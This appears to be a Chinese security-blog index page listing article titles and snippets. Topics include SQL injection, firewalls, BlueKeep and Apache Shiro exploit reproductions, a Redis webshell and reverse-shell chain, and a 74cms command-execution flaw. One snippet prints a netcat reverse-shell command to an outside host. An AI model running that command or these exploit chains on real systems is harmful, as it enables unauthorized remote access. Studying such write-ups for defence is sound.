猿创征文｜HCIE-Security Day56：入侵防御技术
传统电脑病毒等网络威胁，向由利益驱动的，全面的网络威胁发展变化。主要有：黑客入侵、拒绝服务攻击、病毒及恶意软件、个人安全意识薄弱。指未经授权而尝试访问信息系统资源、篡改信息系统中的数据、使信息系统不可靠或者不能使用的行为，入侵企图破坏信息系统的完整性，机密性以及可用性、可控性。在发现入侵行为时能实时
联邦学习后门攻击总结（2019-2022）
联邦学习后门攻击总结（2019-2022）联邦学习安全性问题框架概览下表和下图为联邦学习中常见的安全性问题，本文重点关注模型鲁棒性问题中的后门攻击问题。攻击手段安全性问题攻击方与被攻击方攻击点攻击目的拜占庭攻击模型鲁棒性恶意客户端攻击服务器针对训练数据或针对局部模型投毒无目标攻击，影响全局模型性能后
多线程异步方法Spring Security框架的SecurityContext无法获取认证信息的原因及解决方案
解决异步任务执行时，无法获取Spring Security的安全上下文中的用户身份信息
Keycloak服务开发-认证服务SPI
keycloak的认证服务提供接口
漏洞解决：检测到目标URL存在http host头攻击漏洞(Docker + nginx)
漏洞解决：检测到目标URL存在http host头攻击漏洞(Docker + nginx)
常见web漏洞
SQL注入漏洞原理：网站对用户输入的数据没有经过严格的过滤导致带入到数据库中执行造成数据库信息泄露注入类型：按注入点类型： 数字型、字符型、搜索型；按数据库类型： Access、MsSQL、MySQL、Oracle、DB2等；按提交方式： GET、POST、Cookie、HTTP头、XFF；按执行
真实！震惊！被黑客攻击盗取数据的真实记录！！
而收到攻击后,黑客主动开始联系你,他敢主动露面一定是算出你不能及时的解决这个问题,要么停止推广 把这个事情解决,这时候你的损失将可能更多,不能把你薅疼,薅疼了你就急了,这个精准计算不光是数据和信息的判断,还有很多经验的因素在里面.他的目的是要钱,不能让你死,让你死是竞争对手干的事.黑客挑选目标有一定
信息安全-防火墙技术原理与应用
防火墙概述、防火墙类型与实现技术、防火墙主要产品与技术指标、防火墙防御体系结构、防火墙技术应用
CVE-2019-0708（BlueKeep）漏洞分析与复现
文章目录一、 漏洞简介1、漏洞介绍：2、漏洞原理：3、影响版本：二、 漏洞复现复现环境：复现过程：1、主机发现：2、使用MSF的漏洞模块：3、对靶机进行漏洞扫描：4、使用攻击模块，对靶机进行攻击5、使用POC，进行蓝屏攻击一、 漏洞简介1、漏洞介绍：2019年5月14日微软官方发布安全补丁，修复了
密码分析（一）：差分密码分析
差分密码分析是方法是攻击迭代型分组密码的最有效的方式之一，也是最基础的一种密码分析手段，同时也是衡量一个分组密码安全性的重要指标之一。差分密码分析的原理比较简单，发展至今，该方法出现了很多的变种，但万变不离其宗，本质上就是研究差分在加解密过程中的概率传播特性。
Nessus 扫描web服务
Nessus 扫描web服务
[CVE-2016-4437] Apache Shiro 安全框架反序列化漏洞复现与原理详细分析
Apache Shiro是一个强大且易用的 Java安全框架,执行身份验证、授权、密码和会话管理。shiro 相比于 springsecurity 简单许多，官方号称 10 分钟就能学会。shiro 反序列化漏洞是 Java 经典漏洞，于2016年被挖掘出来，到现在依旧很多系统存在该漏洞，非常值得学
安全运营和应急响应详解
在安全运维的基础上，高效持续的提升企业安全防御能力，实现可视化监控、自主防御，能够发现安全问题、分析安全问题、解决安全问题。1）信息系统故障的防范原则是：预防为主、及时处理、力争把故障的损失降低到最小。2）信息中心负责制定、完善和落实计算机信息系统的规章制度、管理办法和操作规程等，建立完善的制度保障
前端常用加密方式及使用
前端常用加密方式有RSA加密、AES加密、MD5加密、SHA256加密以及国密：/ 生成随机字符串 function randomString(len) { len = len || 16; const $chars = 'ABCDEFGHJKMNPQRSTWXYZabcdefhijkm
MacOS对文件夹加密的方法
MacOS对文件夹加密的方法
现代密码学复习
现代密码学知识大汇总
文件操作安全之-文件解析原理篇
从文件解析的定义，文件解析漏洞原理，文件解析漏洞的具体案例，例如Apache http服务器CVE-2017-15715和NginxCVE-2013-4547文件解析漏洞，以及文件解析漏洞潜在的危害阐述文件解析漏洞中的安全问题。
漏洞复现 - - - 未授权访问漏洞Redis
未授权访问漏洞Redis, 通过redis数据备份功能，往WEB网站根目录写入一句话木马，利用shell得到WEB网站权限,通过定时任务反弹Shell,写SSH公钥，实现免密登录linux服务器
内网渗透-常用反弹shell方法总结
常用反弹shell方法总结文章目录常用反弹shell方法总结前言bash反弹shellnc反弹shell1.nc弹linux的shell: nc -e /bin/bash 1.1.1.1 99992. 如果linux中nc没有-e参数3.nc 弹windows下的shell:whois 反弹she
74cms 5.0.1 版本命令执行漏洞复现
从整体分析来看，对site_domain的输入，只会使用trim,htmlspecialchars,stripslashes,strip_tags,think_filter这几个函数做过滤，对于执行php代码，写入shell，有影响的只有strip_tags，可以通过编码绕过正常的url.php文件
